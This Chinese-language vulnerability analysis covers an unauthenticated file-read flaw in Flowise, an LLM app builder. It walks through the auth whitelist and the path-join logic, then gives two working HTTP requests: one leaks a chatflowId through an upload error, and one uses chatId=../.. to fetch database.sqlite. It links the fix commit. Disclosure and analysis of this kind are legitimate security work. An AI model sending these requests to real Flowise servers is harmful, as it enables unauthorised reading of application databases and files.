介绍

Flowise 基于 ️ LangChain.js,是一个非常先进的图形用户界面,用于开发基于 LLM 的应用程序。这些应用程序也称为 Gen Apps、LLM Apps、Prompt Chaining、LLM Chains 等。
Flowise 是专门为 LangChain 打造的用户界面 (UI),利用了 React-Flow 技术。其目的是提供一个无缝平台,用于轻松进行流程实验和原型设计。用户可以享受拖放组件和聊天框功能的便利,以增强他们的体验。

安装

项目地址:https://github.com/FlowiseAI/Flowise

推荐docker 安装,下载想要的版本文件之后,进入docker目录,修改docker-compose.yml文件,将latest修改为对应版本即可,其它的按照官方安装方法进行安装

Docker Compose

Clone the Flowise project
Go to docker folder at the root of the project
Copy .env.example file, paste it into the same location, and rename to .env file
docker compose up -d
Open http://localhost:3000

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

未授权文件读取

在我们分析未授权漏洞时,首先需要摸清它本身的鉴权机制,哪些路径需要权限,那些不需要
在packages\server\src\index.ts中,有一个处理api请求访问控制的机制,如果请求路径以/api/v1/开头并且路径在白名单中,则直接放行

在这里插入图片描述
白名单路径在packages\server\src\utils\constants.ts,其中需要着重关注三个路径
在这里插入图片描述
下来查看/api/v1/get-upload-file 和/api/v1/openai-assistants-file/download接口的具体逻辑

先看第一个接口的逻辑,位于packages\server\src\controllers\get-upload-file\index.ts
在代码中可以看到使用这个接口需要传递参数 chatflowId、chatId、fileName
在这里插入图片描述
在最后会将得到的参数传入streamStorageFile函数,位于
packages\components\src\storageUtils.ts这是一个处理文件存储流的函数,支持多种存储方式(S3、GCS 和本地存储),咱们主要看本地的逻辑
在这里插入图片描述
在这里插入图片描述
getStoragePath()获得的目录为 /root/.flowise/storage

const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)
在这里插入图片描述
在这里插入图片描述
在这个路径拼接中,固定值为getStoragePath(), orgId, chatflowId,只有chatId, sanitizedFilename是受我们控制的,但是sanitizedFilename是经过sanitize-filename安全净化后的文件名,所以实际受我们控制的只有chatid,在path.join中,方法会对路径的…直接进行解析,实际效果如下
在这里插入图片描述
在这里插入图片描述
所以实际的三重检查中,阻碍的只有第三条,只能访问 /root/.flowise/storage下的文件

if (!path.isAbsolute(filePath)) throw new Error(Invalid file path) // 确保是绝对路径
if (filePath.includes(‘…’)) throw new Error(Invalid file path) // 防止目录遍历攻击
if (!filePath.startsWith(getStoragePath())) throw new Error(Invalid file path) // 确保在存储目录内

/api/v1/openai-assistants-file/download接口逻辑类似
在这里插入图片描述
那么chatflow是我们利用前必须要获取到的,这个在/api/v1/vector/upsert/接口中可以获取,在代码中会将错误进行打印,这里的接口是一个上传文件的接口
在这里插入图片描述
在这里插入图片描述
我们在请求中将文件名修改为特殊符号,那么在文件操作中就会造成报错,导致chatflowId泄露

在代码中会对chatflowid来进行检验,所以必须先在系统中创建一个chatflow
在这里插入图片描述
在这里插入图片描述
如果系统中本身没有chatflow的话,那么使用这个接口就会爆出没有找到的错误
在这里插入图片描述
有的话,则会在报错信息中显示出chatflow
在这里插入图片描述

 POST /api/v1/vector/upsert/ HTTP/1.1
Host: 10.58.113.31:3001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain


------WebKitFormBoundary7MA4YWxkTrZu0gW--

在这里插入图片描述

GET /api/v1/get-upload-file?chatflowId=434df433-8382-4f46-a073-c78755c1cd0f&chatId=../..&fileName=database.sqlite HTTP/1.1
Host: 10.58.113.31:3001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close

修复

https://github.com/FlowiseAI/Flowise/pull/5208/commits/f2eb372e6f9fb4138dab740472a6d0fc3084d502

在这里插入图片描述

添加了对chatid检测机制

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐